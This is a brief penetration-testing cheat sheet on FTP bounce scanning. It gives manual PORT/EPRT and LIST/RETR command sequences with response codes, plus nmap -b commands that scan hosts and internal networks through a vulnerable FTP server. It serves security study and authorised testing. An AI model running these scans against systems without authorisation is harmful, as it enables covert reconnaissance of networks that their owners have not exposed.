# FTP Bounce - Scanning
|
|
|
|
## Manual
|
|
|
|
1. Connect to vulnerable FTP
|
|
2. Use **`PORT`**or **`EPRT`**(but only 1 of them) to make it establish a connection with the _\<IP:Port>_ you want to scan:
|
|
|
|
`PORT 172,32,80,80,0,8080`\
|
|
`EPRT |2|172.32.80.80|8080|`
|
|
3. Use **`LIST`**(this will just send to the connected _\<IP:Port>_ the list of current files in the FTP folder) and check for the possible responses: `150 File status okay` (This means the port is open) or `425 No connection established` (This means the port is closed)
|
|
1. Instead of `LIST` you could also use **`RETR /file/in/ftp`** and look for similar `Open/Close` responses.
|
|
|
|
Example Using **PORT** (port 8080 of 172.32.80.80 is open and port 7777 is closed):

|
Same example using **`EPRT`**(authentication omitted in the image):

|
|
|
|
Open port using `EPRT` instead of `LIST` (different env)

|

|
|
## **nmap**
|
|
|
|
```bash
|
|
nmap -b <name>:<pass>@<ftp_server> <victim>
|
|
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
|
|
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
|
|
```
